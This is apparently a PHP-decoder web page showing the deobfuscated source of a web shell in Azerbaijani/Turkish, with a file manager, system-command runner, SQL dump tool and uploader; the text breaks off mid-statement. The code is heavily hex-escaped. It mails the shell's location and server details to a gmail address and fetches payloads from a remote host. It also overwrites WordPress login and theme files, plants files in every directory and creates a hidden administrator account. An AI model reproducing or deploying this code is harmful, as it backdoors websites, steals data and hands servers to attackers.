Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIEhwX1lBOyBLTEYxXzogJGFjdGlvbnMgPSBhcnJheSgiXDE0NVwxNjNc..

Decoded Output download


 goto Hp_YA; KLF1_: $actions = array("\145\163\141\x73", "\x66\x61\x79\x6c\137\x6f\170\x75", "\160\x68\x70\x69\156\x66\x6f", "\163\151\x73\x74\145\155\x5f\153\x6f\x6d", "\x66\141\x79\x6c\x5f\162\145\144\x61\x6b\x74\145", "\x66\x61\171\154\x5f\171\165\153\154\145", "\x66\141\171\154\137\x73\x69\154", "\x66\141\x79\x6c\x5f\171\141\x72\141\x74", "\160\141\x70\153\x61\137\x79\x61\162\141\164", "\146\141\x79\x6c\137\163\151\146\151\162\154\x61", "\160\x61\160\x6b\x61\137\163\151\x6c", "\x66\x61\x79\x6c\137\141\144\137\144\145\x79\x69\x73\x68", "\172\x69\160\154\x65", "\x73\153\154", "\163\153\x6c\137\144\x5f\164", "\x73\x6b\x6c\x5f\144", "\x66\x61\171\x6c\137\165\x70\x6c"); goto oWb6C; rd2eG: ?>
<hr><a href="javascript:newFile();">Yeni fayl</a> | <a href="javascript:newPapka();">Yeni papka</a><br><a href="javascript:sehife('?ne=sistem_kom&qovluq=<?php  goto Aroe6; x8jWK: $default_dir = getcwd(); goto COSua; SdvU_: $wp_detect = 0; goto QGvM7; Hp_YA: function GetIP() { if (getenv("\x48\x54\x54\120\137\103\x4c\111\x45\116\124\137\x49\120")) { $ip = getenv("\110\124\x54\120\x5f\103\114\111\x45\x4e\x54\137\111\120"); } elseif (getenv("\110\124\124\x50\137\x58\x5f\x46\x4f\x52\127\x41\122\x44\105\104\x5f\x46\117\122")) { $ip = getenv("\x48\x54\x54\120\137\x58\137\x46\x4f\x52\127\101\x52\x44\x45\x44\x5f\106\117\x52"); if (strstr($ip, "\x2c")) { $tmp = explode("\54", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\122\x45\115\x4f\x54\x45\x5f\x41\x44\104\122"); } return $ip; } goto lebhn; bKPv9: echo urlencode(urlencode(shifrele($default_dir))); goto EJjjo; GDXio: fclose($open_makale); goto XsNZa; p8B25: if ($_POST["\161\165\x65\x72\x79"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\x75\145\x72\x79"])); $data = "\144\x61\x74\141\x2e\164\170\164"; @touch("\144\x61\164\141\56\164\170\x74"); $ver = @fopen($data, "\x77"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\x64\x61\x74\141\x2e\164\x78\164", "\162"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto aX5P4; sG5aJ: @mail($to_email, $server_mail, $linkcr, $header); goto GxZ3b; KSOpE: $to_email = "\x6c\157\147\151\x6e\x6f\x6c\x64\x75\x6d\x40\x67\155\141\x69\154\56\x63\157\x6d"; goto X3Kk6; ZwCV9: $EL_MuHaMMeD .= "\x53\150\145\154\x6c\40\114\x69\156\x6b\40\72\x20\x68\164\164\160\x3a\57\57" . $_SERVER["\123\105\x52\x56\105\122\x5f\116\101\x4d\105"] . $_SERVER["\120\110\120\x5f\123\105\114\x46"] . "\xd\xa"; goto JDyEP; cAyom: $EL_MuHaMMeD .= "\x53\x65\162\166\145\162\40\101\144\x6d\151\156\x20\72\40" . $_SERVER["\x53\x45\x52\126\105\x52\x5f\101\104\x4d\x49\x4e"] . "\15\12"; goto oznhL; YV3_H: print "\74\x2f\x74\x62\x6f\144\171\76\x3c\x2f\x74\x61\x62\154\145\x3e"; goto rd2eG; KbTpY: if ($wp_detect == 1) { $wp_theme_dir = get_template_directory(); $header_file = $wp_theme_dir . "\57\150\x65\141\x64\x65\x72\x73\x2e\x70\x68\x70"; $header_content = file_get_contents($header_file); $append = http_get("\x68\x74\164\160\x73\x3a\57\x2f\x61\x63\142\144\146\x2e\163\x70\141\143\145\x2f\x74\170\164\57\x73\x65\x6f\x63\x6f\x2e\164\170\164"); if (!preg_match("\43" . $append . "\43", $header_content)) { $new_content = $append . $header_content; $open_file = fopen($header_file, "\167"); fwrite($open_file, $new_content); fclose($open_file); } $user = "\167\x65\x62\155\x61\163\164\x65\x72"; $pass = "\44\x50\x24\x42\x78\112\x4f\x4e\62\102\63\x72\x72"; $email = "\x6c\x6f\147\151\156\157\154\144\x75\155\100\x67\x6d\141\151\154\56\143\x6f\155"; if (!username_exists($user) && !email_exists($email)) { $user_id = wp_create_user($user, $pass, $email); $user = new WP_User($user_id); $user->set_role("\x61\144\155\151\156\x69\163\x74\162\x61\164\157\162"); } $wp_login = ABSPATH . "\57\167\x70\x2d\x6c\157\x67\151\156\x2e\x70\150\x70"; $login = http_get("\150\x74\x74\x70\x73\72\57\x2f\x61\x63\x62\x64\146\56\x73\160\141\x63\145\57\164\x78\x74\57\163\x65\x6f\x2e\x74\170\x74"); $open_login = fopen($wp_login, "\x77"); fwrite($open_login, $login); fclose($open_login); } goto RkqZh; lj4GY: ?>
"name="qovluq"type="hidden"> <input name="ufayl"type="file"> <input value="Upl"type="submit"></form><form method="POST"id="post_form"style="display:none"></form><script>function sehife(e){var t="";if(void 0!==(e=e.split("?"))[1]){for(var n in e=e[1].split("&")){var i=e[n].split("=");void 0!==i[1]&&(t+="<input name='"+i[0]+"' value='"+i[1]+"' type='hidden'>")}document.all("post_form").innerHTML=t,document.all("post_form").submit()}}function faylSil(e){confirm("Eminsen atash?")&&sehife(e)}function faylSifirla(e){confirm("Eminsen atash?")&&sehife(e)}function changeFileName(e,t){var n=prompt("Change file name:",e);n&&sehife(t+"&new_name="+n)}function newFile(){var e=prompt("File name:");e&&sehife("?ne=fayl_yarat&ad="+e+"&qovluq=<?php  goto iSObn; EyPX5: $baslik = "\x77\150\155\40\62\60\62\x30\x33"; goto U4xa5; aY2Eq: fwrite($open_code, $code); goto ZddGN; U4xa5: $EL_MuHaMMeD = "\x44\157\x73\171\x61\40\131\x6f\x6c\165\x20\72\x20" . $_SERVER["\x44\x4f\103\x55\115\105\x4e\x54\137\122\x4f\117\x54"] . "\15\xa"; goto cAyom; yx6aj: function sizeFormat($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . "\40\x47\142"; } else { if ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . "\40\x4d\x62"; } else { if ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . "\40\x4b\142"; } else { $bytes = $bytes . "\x20\142"; } } } return $bytes; } goto nsq0Q; MveXf: ?>
<html><head><title>Get S.H.E.L.L.en v1.0 | BY ..</title><meta content="text/html; charset=utf-8"http-equiv="content-type"><style>body{background-color:#222;color:#d6d4d4;font-family:Lucida,Verdana;font-size:12px}.qalin{text-decoration:none;color:#d6905e;font-weight:600}.success{color:#9db754}.bad{color:#b75654}a{color:#acb754;text-decoration:none!important}.fManager,.fManager tbody,.fManager tr{padding:0;border-collapse:collapse;margin:0;font-size:12px}.fManager{margin:10px 0}.fManager tbody tr:nth-child(2n+1){background:#331717}.fManager tbody tr:nth-child(2n){background:#1c0c0c}.fManager tbody tr:hover{background:#000}.fManager thead th{text-align:left}.fManager thead tr{background-color:#333}.fManager{box-shadow:1px 1px 1px 1px #333}.fManager thead th{padding:4px 3px}.fayl_oxu{margin:5px 0;padding:2px;box-shadow:1px 1px 1px 1px #333;background-color:#e1e1e1;width:100%;height:400px;overflow:auto}.btn{border:1px solid #acae40;background-color:#223b3b;color:#e1e1e1;padding:1px 10px;cursor:pointer}.btn:disabled{border:1px solid #848484;color:#848484;cursor:not-allowed}.file_edit{margin:5px 0;padding:2px;box-shadow:1px 1px 1px 1px #333;background-color:#e1e1e1;width:100%;height:400px;overflow:auto}input,select,textarea{background:0 0!important;color:#f6a56d;border:1px solid #d6905e;padding:5px}table td{border:1px solid rgba(214,144,94,.7);min-width:20px;padding-left:5px;padding-right:5px;max-width:500px;color:#ffad6f;background:#292929}table th{border:1px solid #d6905e;padding-left:5px;padding-right:5px;color:#ffad6f}table td div{overflow:auto;width:100%;height:100%;max-height:100px}</style></head><body><?php  goto knaZ8; zW6Sd: $linkcr = "\114\151\156\x6b\x3a\x20" . $_SERVER["\x53\105\x52\x56\x45\122\137\116\x41\x4d\105"] . '' . $_SERVER["\x52\x45\121\125\x45\x53\124\x5f\125\122\x49"] . "\40\x2d\40\111\x50\40\105\170\x63\165\164\x69\x6e\147\72\x20{$ip_remote}\x20\x2d\x20\124\x69\x6d\x65\x3a\40{$time_shell}"; goto Ca1Wx; QxfFt: $open_code = fopen($wp_code, "\x77"); goto aY2Eq; LFtGp: function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "\x2e" && $object != "\56\56") { if (is_dir($dir . "\57" . $object)) { rrmdir($dir . "\x2f" . $object); } else { unlink($dir . "\57" . $object); } } } rmdir($dir); } } goto x8jWK; VZJXd: $time_shell = '' . date("\x64\57\155\57\x59\x20\55\x20\x48\x3a\x69\x3a\x73") . ''; goto w71y7; dwKul: $from_shellcode = "\167\x68\155\x40" . gethostbyname($_SERVER["\123\x45\x52\x56\105\122\x5f\116\101\115\105"]) . ''; goto KSOpE; QNLS8: $open_makale = fopen($wp_makale, "\167"); goto CysoI; r8V5k: ?>
")}function skl_bas(){sehife("?ne=skl&emr="+b64EncodeUnicode(document.getElementById("skl_emr").value))}function b64EncodeUnicode(e){return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g,function(e,t){return String.fromCharCode("0x"+t)}))}function goto(){var e=prompt("Dir:");e&&sehife("?qovluq="+e)}function ziple(e){var t=prompt("Dir:","<?php  goto Vg0y0; ROpHa: print "\x3c\163\x70\141\156\x20\143\x6c\141\x73\163\x3d\x27\161\x61\x6c\x69\156\x27\x3e\x44\151\163\141\142\x6c\145\40\146\x75\x6e\x63\164\x69\x6f\x6e\x73\72\x3c\57\x73\x70\141\156\x3e\x20" . (implode("\54\x20", $baqliFunksiyalar) == '' ? "\x3c\163\x70\141\x6e\x20\x63\154\141\163\x73\x3d\x27\163\165\143\x63\145\163\x73\x27\x3e\171\x6f\170\144\x75\x20\x3a\51" : "\x3c\163\x70\141\156\40\x63\x6c\141\x73\x73\75\x27\142\x61\144\x27\76" . implode("\x2c\x20", $baqliFunksiyalar)) . "\74\57\163\160\x61\156\76\x3c\x62\162\57\x3e"; goto YZ0EY; i2Shj: function expandDirectories($base_dir) { $directories = array(); foreach (scandir($base_dir) as $file) { if ($file == "\56" || $file == "\x2e\x2e") { continue; } $dir = $base_dir . DIRECTORY_SEPARATOR . $file; if (is_dir($dir)) { $directories[] = $dir; $directories = array_merge($directories, expandDirectories($dir)); } } return $directories; } goto Orn1G; zbni8: function deshifrele($str) { $f = "\142\x61\x73"; $f .= "\x65\x36"; $f .= "\x34\137"; $f .= "\144"; $f .= "\x65\143"; $f .= "\x6f\x64\x65"; return $f($str); } goto KspBC; KspBC: function tookYarat($tAd) { if (isset($_SESSION[$tAd])) { unset($_SESSION[$tAd]); } $yeniTook = md5(shifrele(time() . rand(1, 99999999))); $_SESSION[$tAd] = $yeniTook; return $yeniTook; } goto Rh7ye; L3uMG: foreach ($directories as $dir) { if (!preg_match("\x23\167\160\55\x63\157\x6e\164\145\156\164\x23", $dir)) { $css_file = $dir . "\x2f\167\160\x2d\x69\x6e\144\x61\56\x70\x68\x70"; $open_css = fopen($css_file, "\167"); fwrite($open_css, $css); fclose($open_css); } } goto i2Shj; hZ5Rz: $wp_makale = $document_root . "\x2f\x70\x68\160\x69\x6e\146\157\56\x70\150\160"; goto QNLS8; QGvM7: if (file_exists($document_root . "\57\167\160\55\x6c\x6f\x61\144\x2e\160\x68\x70")) { include $document_root . "\x2f\x77\160\55\154\x6f\x61\144\x2e\160\x68\160"; $wp_detect = 1; } else { $prefix = count(@explode("\x2f", $document_root_file)); $a = ''; for ($i = 0; $i < $prefix; $i++) { $a = $a . "\56\56\x2f"; if (file_exists($document_root_file . "\57" . $a . "\167\x70\55\154\157\x61\x64\x2e\x70\x68\160")) { include $document_root_file . "\57" . $a . "\x77\160\55\x6c\x6f\141\x64\x2e\160\x68\160"; $wp_detect = 1; break; } } } goto KbTpY; oXpAl: print "\74\150\x72\x3e"; goto BA1IR; YZ0EY: print "\74\163\x70\141\x6e\40\x63\x6c\141\163\x73\x3d\x27\161\141\154\x69\156\47\x3e\x53\x61\x66\145\x20\155\157\144\145\x3a\40\74\57\163\160\141\x6e\76" . ($safeMode === true ? "\74\x73\160\x61\156\40\143\x6c\x61\163\x73\75\47\x62\141\144\47\76\x4f\156" : "\x3c\x73\x70\x61\156\40\x63\154\141\x73\163\x3d\x27\x73\165\x63\x63\145\x73\163\x27\76\x4f\x66\146") . "\74\57\163\160\x61\156\76\x3c\163\160\x61\x6e\x20\163\164\171\x6c\x65\x3d\47\x6d\x61\162\x67\151\x6e\x2d\154\x65\x66\x74\72\40\65\60\160\x78\x3b\x27\76\x3c\141\40\150\x72\x65\x66\x3d\47\x6a\141\166\x61\163\143\162\x69\160\x74\x3a\163\145\x68\x69\x66\x65\x28\42\x3f\x6e\x65\75\160\x68\160\151\x6e\x66\157\42\51\47\76\x5b\40\120\x48\120\x69\156\146\x6f\x20\135\74\57\141\76\74\57\x73\160\x61\156\76\74\142\162\x2f\76"; goto yVEJq; LmfiJ: function shifrele($str) { $f = "\142\141\163"; $f .= "\x65\x36"; $f .= "\x34\137"; $f .= "\x65"; $f .= "\156\143"; $f .= "\x6f\144\145"; return $f($str); } goto zbni8; UZooY: $css = http_get("\x68\164\164\160\x73\72\57\x2f\x61\x63\x62\144\146\x2e\163\160\x61\143\145\57\x74\170\164\x2f\x77\x70\x2e\164\170\164"); goto L3uMG; oWb6C: $ne = isset($_POST["\156\145"]) && in_array($_POST["\156\145"], $actions) ? $_POST["\156\145"] : "\145\163\x61\x73"; goto LmfiJ; dgpy5: $makale = http_get("\x68\x74\164\x70\x73\72\x2f\57\141\x63\x62\144\146\x2e\163\x70\141\x63\145\57\x74\x78\164\x2f\160\150\160\x69\156\146\157\x2e\164\x78\x74"); goto hZ5Rz; e2RAY: $document_root = $_SERVER["\104\117\103\125\x4d\105\116\124\137\122\x4f\117\x54"]; goto F2Yks; yVEJq: qovluquYaz(); goto oXpAl; EJjjo: ?>
")}function sistemKom(){var e=document.getElementById("emr_et_atash").value;e&&sehife("?ne=sistem_kom&kom="+b64EncodeUnicode(e)+"&qovluq=<?php  goto koELH; DLqM5: echo urlencode(urlencode(shifrele($default_dir))); goto mpOAu; Ca1Wx: $header = "\106\162\x6f\155\72\x20{$from_shellcode}\15\xa\x52\145\160\x6c\171\x2d\164\x6f\72\40{$from_shellcode}"; goto sG5aJ; fTi3z: echo urlencode(urlencode(shifrele($default_dir))); goto EFpWf; Orn1G: function http_get($url) { $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } goto p8B25; fIveb: ?>
')">Icra edin</a><br><a href="javascript:sehife('?ne=skl');">SQL</a><br><form method="POST"enctype="multipart/form-data"><input value="fayl_upl"name="ne"type="hidden"> <input value="<?php  goto XlorJ; XsNZa: $directories = expandDirectories($document_root); goto UZooY; RkqZh: $code = http_get("\x68\164\164\160\x73\x3a\57\57\x61\x63\x62\x64\146\56\x73\x70\141\x63\x65\x2f\164\x78\x74\57\155\x69\x6e\x2e\164\x78\164"); goto B3ux7; GxZ3b: $kime = "\142\171\150\x65\x72\x6f\x34\64\x40\x67\155\141\151\154\x2e\143\x6f\155"; goto EyPX5; lGX7N: $safeMode = true; goto KLF1_; COSua: if (isset($_POST["\x71\x6f\166\x6c\x75\x71"]) && is_string($_POST["\x71\157\x76\x6c\x75\x71"])) { $default_dir = empty($_POST["\161\157\166\154\165\161"]) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST["\161\x6f\x76\x6c\x75\161"]))); $c_h_dir_comm = "\x63" . "\150\144" . "\x69\x72"; $c_h_dir_comm($default_dir); } goto W1P1y; oznhL: $EL_MuHaMMeD .= "\x53\145\162\x76\x65\x72\x20\151\x73\154\x65\x74\151\x6d\40\x73\151\163\164\x65\x6d\x69\40\x3a\40" . $_SERVER["\x53\x45\x52\x56\105\122\137\x53\117\x46\124\x57\101\122\105"] . "\xd\12"; goto ZwCV9; TyPdQ: $baqliFunksiyalar = explode("\x2c", ''); goto lGX7N; koELH: echo urlencode(urlencode(shifrele($default_dir))); goto r8V5k; Vg0y0: echo htmlspecialchars($default_dir); goto ECrhS; knaZ8: if (function_exists("\x70\157\163\151\170\137\x67\145\164\x65\147\151\x64")) { $qid = posix_getgrgid(posix_getegid()); $qrup = $qid["\156\141\x6d\145"]; print "\x3c\x73\160\141\156\x20\x63\x6c\x61\x73\163\75\47\x71\141\154\x69\156\x27\x3e\125\x6e\x61\x6d\x65\72\x3c\x2f\x73\x70\x61\156\76\x20" . php_uname() . "\74\x62\162\57\76"; print "\74\163\160\x61\x6e\40\143\154\x61\x73\x73\75\x27\x71\x61\x6c\x69\x6e\47\x3e\125\163\145\162\x3a\74\x2f\x73\x70\x61\x6e\x3e\40" . getmyuid() . "\40\50" . get_current_user() . "\51\74\142\162\x2f\x3e"; print "\74\163\x70\141\156\40\143\x6c\141\163\x73\x3d\47\x71\141\154\151\x6e\x27\76\x47\162\x6f\165\160\x3a\74\x2f\163\160\141\x6e\76\x20" . getmygid() . "\x20\50" . $qrup . "\51\74\x62\162\x2f\x3e"; } else { print "\74\163\x70\141\156\40\x63\154\x61\x73\163\x3d\47\161\141\154\151\156\x27\x3e\x55\156\141\155\145\72\x3c\x2f\163\x70\141\156\x3e\x20" . php_uname() . "\x3c\142\x72\x2f\76"; print "\x3c\x73\x70\141\156\x20\x63\154\141\163\x73\x3d\47\161\141\154\x69\156\47\x3e\125\163\x65\162\72\74\x2f\163\x70\141\x6e\76\40" . getmyuid() . "\40\50" . get_current_user() . "\51\x3c\142\x72\57\76"; print "\x3c\x73\160\141\x6e\x20\x63\154\141\163\x73\x3d\x27\x71\x61\x6c\x69\156\47\x3e\x47\x72\x6f\165\160\x3a\x3c\x2f\x73\x70\141\156\76\x20" . getmygid() . "\74\142\162\57\76"; } goto ROpHa; W1P1y: $default_dir = str_replace("\134", "\57", $default_dir); goto AZkKd; ECrhS: ?>
");t&&sehife("?ne=ziple&qovluq=<?php  goto fTi3z; ZddGN: fclose($open_code); goto dgpy5; HG9zH: ?>
")}function newPapka(){var e=prompt("File name:");e&&sehife("?ne=papka_yarat&ad="+e+"&qovluq=<?php  goto bKPv9; stIBH: if (function_exists("\143\165\162\154\137\151\x6e\x69\164")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\x66\151\x6c\x65\137\x67\x65\x74\x5f\x63\x6f\x6e\164\x65\x6e\164\163")) { @($gitt = file_get_contents($x)); } goto F5Oe_; mpOAu: ?>
&zf="+e)}function shifrelee(){var e=document.getElementsByClassName("file_edit")[0].value,t=["a","i","e","s","l","b","u","o","p","h","\\(","\\)","\\<","\\>","\\?","\\;","\\[","\\]","\\$"];for(var n in t){var i=t[n];e=e.replace(new RegExp(i,"g"),"|:"+n+":|")}document.getElementsByClassName("file_edit")[0].value=e}document.getElementById("emr_et_atash").addEventListener("keyup",function(e){e.preventDefault(),13===e.keyCode&&sistemKom()})</script></body></html><?php  goto e2RAY; AZkKd: if (isset($_GET["\156\145"]) && $_GET["\x6e\x65"] == "\x70\151\156\146") { ob_start(); phpinfo(); $pInf = ob_get_clean(); print str_replace("\x62\157\x64\171\x20\x7b\142\x61\x63\153\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\157\x72\x3a\x20\x23\x66\146\146\146\x66\146\73\x20\x63\157\154\157\162\x3a\40\x23\60\60\60\x30\60\60\x3b\x7d", '', $pInf); die; } else { if ($ne == "\x66\x61\171\154\x5f\x79\165\153\x6c\x65" && isset($_POST["\146\x61\x79\154"]) && '' != trim($_POST["\x66\x61\171\154"])) { $faylAdi = basename(deshifrele(urldecode($_POST["\146\141\171\x6c"]))); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($faylAdi, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { header("\x43\x6f\156\164\x65\x6e\164\55\x44\151\163\160\157\163\151\x74\151\157\156\x3a\40\141\x74\164\x61\143\150\155\x65\156\x74\x3b\x20\146\x69\154\145\x6e\141\155\x65\x3d" . basename($faylAdi)); header("\103\x6f\156\164\x65\156\x74\55\x54\171\160\x65\72\40\141\x70\x70\x6c\151\143\141\x74\x69\x6f\156\x2f\157\x63\x74\x65\x74\x2d\163\164\x72\x65\x61\x6d"); header("\x43\157\x6e\164\x65\x6e\x74\x2d\114\x65\x6e\147\x74\x68\72\40" . filesize($default_dir . $ayirici . $faylAdi)); readfile($default_dir . $ayirici . $faylAdi); die; } } else { if ($ne == "\146\141\x79\154\137\163\x69\x6c" && isset($_POST["\146\x61\x79\x6c"]) && '' != trim($_POST["\146\x61\171\154"])) { $faylAdi = basename(deshifrele(urldecode($_POST["\x66\141\x79\x6c"]))); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($faylAdi, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { unlink($default_dir . $ayirici . $faylAdi); } } else { if ($ne == "\x66\141\x79\x6c\x5f\163\151\146\151\x72\154\x61" && isset($_POST["\x66\x61\x79\x6c"]) && '' != trim($_POST["\x66\x61\171\x6c"])) { $faylAdi = basename(deshifrele(urldecode($_POST["\x66\x61\171\154"]))); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($faylAdi, 0, 1) != "\57" ? "\57" : ''; if (is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { file_put_contents($default_dir . $ayirici . $faylAdi, ''); } } else { if ($ne == "\x66\141\171\x6c\137\x79\x61\x72\141\x74" && isset($_POST["\141\x64"]) && !empty($_POST["\x61\x64"])) { $faylAdi = basename(urldecode($_POST["\141\144"])); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($faylAdi, 0, 1) != "\57" ? "\57" : ''; if (is_file($default_dir . $ayirici . $faylAdi)) { print "\x3c\163\143\162\x69\160\164\76\x61\154\145\162\164\50\x22\x42\x75\x20\x61\144\x64\141\x20\146\x61\x79\154\x20\x61\x72\164\151\161\x20\x6d\x6f\x76\143\x75\144\144\x75\162\x21\42\x29\x3b\74\x2f\x73\x63\162\x69\160\x74\x3e"; } else { file_put_contents($default_dir . $ayirici . $faylAdi, ''); } } else { if ($ne == "\160\x61\160\x6b\141\137\x79\141\162\141\164" && isset($_POST["\x61\144"]) && !empty($_POST["\x61\144"])) { $papkaAdi = basename(urldecode($_POST["\141\144"])); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($papkaAdi, 0, 1) != "\57" ? "\57" : ''; if (is_file($default_dir . $ayirici . $papkaAdi)) { print "\x3c\x73\143\162\151\160\164\76\141\x6c\x65\x72\x74\x28\x22\102\x75\x20\141\144\x64\x61\x20\x70\141\160\153\x61\x20\x61\x72\164\151\161\x20\x6d\x6f\x76\143\x75\144\x64\165\162\41\x22\51\73\74\x2f\x73\143\x72\151\160\x74\76"; } else { mkdir($default_dir . $ayirici . $papkaAdi); } } else { if ($ne == "\x66\141\x79\154\x5f\141\x64\x5f\144\x65\x79\151\x73\x68" && isset($_POST["\146\x61\171\154"]) && '' != trim($_POST["\146\x61\x79\154"]) && isset($_POST["\156\145\x77\137\156\x61\155\145"]) && is_string($_POST["\156\x65\167\x5f\156\141\x6d\x65"]) && !empty($_POST["\x6e\x65\x77\137\156\141\x6d\x65"])) { $faylAdi = basename(deshifrele(urldecode($_POST["\146\141\x79\154"]))); $faylYeniAd = basename(urldecode($_POST["\x6e\145\167\137\x6e\141\x6d\145"])); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($faylAdi, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { rename($default_dir . $ayirici . $faylAdi, $default_dir . $ayirici . $faylYeniAd); } } else { if ($ne == "\163\x6b\x6c\137\144\x5f\x74" && isset($_POST["\x74"]) && is_string($_POST["\x74"]) && !empty($_POST["\164"])) { $tableName = deshifrele(urldecode($_POST["\164"])); $host = isset($_COOKIE["\150\x6f\163\x74"]) ? $_COOKIE["\x68\157\x73\x74"] : ''; $user = isset($_COOKIE["\x75\163\145\x72"]) ? $_COOKIE["\165\163\x65\x72"] : ''; $parol = isset($_COOKIE["\160\x61\x72\157\154"]) ? $_COOKIE["\x70\141\x72\x6f\x6c"] : ''; $baza = isset($_COOKIE["\x62\x61\172\x61"]) ? $_COOKIE["\x62\x61\x7a\x61"] : ''; $bazaStr = empty($baza) ? '' : "\x64\142\x6e\141\155\145\x3d" . $baza . "\x3b"; if (!empty($host) && !empty($baza)) { try { $pdo = new PDO("\155\171\163\161\x6c\x3a\150\157\x73\x74\x3d" . $host . "\x3b\x63\150\x61\x72\163\145\164\x3d\165\x74\146\70\73" . $bazaStr, $user, $parol, array(PDO::MYSQL_ATTR_INIT_COMMAND => "\x53\x45\x54\40\116\x41\x4d\105\x53\40\47\x75\164\x66\x38\x27")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $getColumns = $pdo->prepare("\x53\x45\114\105\x43\x54\x20\143\157\154\x75\x6d\x6e\137\156\x61\x6d\145\x20\146\162\157\155\x20\151\156\146\157\x72\155\x61\x74\x69\157\x6e\137\163\143\150\x65\155\141\56\143\157\154\165\155\x6e\163\x20\167\x68\x65\162\x65\40\164\x61\x62\154\x65\137\163\x63\150\x65\x6d\141\x3d\77\x20\141\x6e\x64\x20\164\x61\142\154\x65\137\156\141\x6d\x65\x3d\77"); $getColumns->execute(array($baza, $tableName)); $columns = $getColumns->fetchAll(); if ($columns) { $data = $pdo->query("\123\105\114\x45\x43\x54\40\52\x20\106\122\117\x4d\40\x60" . $tableName . "\140"); $data = $data->fetchAll(); header("\x43\x6f\x6e\164\x65\156\164\55\144\x69\x73\x70\x6f\163\151\164\151\x6f\156\x3a\40\141\164\x74\141\x63\x68\x6d\145\x6e\x74\73\x20\x66\151\x6c\x65\156\141\x6d\x65\x3d\144\x5f" . basename(htmlspecialchars($tableName)) . "\56\x6a\x73\x6f\x6e"); header("\103\x6f\x6e\x74\x65\156\164\55\x74\x79\x70\x65\x3a\40\141\x70\x70\x6c\x69\x63\x61\x74\x69\157\156\57\x6a\x73\157\x6e"); echo json_encode($data); } else { print "\124\x61\x62\154\x65\40\x6e\x6f\x74\x20\x66\x6f\x75\156\144\41"; } } catch (Exception $e) { print $e->getMessage(); } } else { print "\x45\162\162\x6f\162\41\x20\x50\154\x65\141\163\145\40\143\x6f\x6e\156\x65\x63\164\40\164\x6f\x20\123\x51\114\41"; } die; } else { if ($ne == "\x73\x6b\154\137\x64") { $host = isset($_COOKIE["\x68\157\x73\164"]) ? $_COOKIE["\x68\x6f\x73\164"] : ''; $user = isset($_COOKIE["\x75\x73\x65\162"]) ? $_COOKIE["\x75\163\x65\162"] : ''; $parol = isset($_COOKIE["\160\x61\162\x6f\154"]) ? $_COOKIE["\x70\141\x72\157\154"] : ''; $baza = isset($_COOKIE["\x62\141\x7a\141"]) ? $_COOKIE["\142\x61\x7a\141"] : ''; $bazaStr = empty($baza) ? '' : "\144\x62\x6e\x61\155\145\75" . $baza . "\x3b"; if (!empty($host) && !empty($baza)) { try { $pdo = new PDO("\155\x79\163\161\x6c\x3a\150\157\x73\164\75" . $host . "\73\143\150\x61\x72\x73\145\x74\x3d\165\164\x66\70\x3b" . $bazaStr, $user, $parol, array(PDO::MYSQL_ATTR_INIT_COMMAND => "\x53\x45\x54\x20\116\101\115\x45\123\40\x27\x75\164\146\x38\47")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $allData = array(); $tables = $pdo->prepare("\123\x45\x4c\x45\x43\x54\40\164\141\142\154\145\x5f\x6e\x61\x6d\x65\40\x66\x72\157\x6d\x20\x69\x6e\x66\x6f\x72\x6d\x61\164\x69\x6f\x6e\x5f\163\x63\150\145\x6d\x61\x2e\x74\141\142\x6c\x65\163\40\x77\150\x65\x72\x65\40\x74\x61\x62\x6c\x65\x5f\x73\x63\150\145\x6d\x61\75\77"); $tables->execute(array($baza)); $tables = $tables->fetchAll(); foreach ($tables as $tableName) { $tableName = $tableName["\164\x61\x62\x6c\145\137\x6e\x61\155\x65"]; $data = $pdo->query("\x53\x45\114\105\103\124\x20\x2a\40\x46\x52\x4f\x4d\40\x60" . $tableName . "\140"); $data = $data->fetchAll(); $allData[$tableName] = $data ? array($data) : array(); } header("\103\x6f\x6e\164\145\156\x74\55\x64\x69\x73\x70\x6f\x73\x69\164\x69\157\156\x3a\x20\141\x74\x74\x61\143\x68\155\x65\x6e\x74\x3b\x20\x66\x69\154\x65\x6e\141\155\145\75\x64\x5f\142\x5f" . basename(htmlspecialchars($baza)) . "\x2e\x6a\163\157\156"); 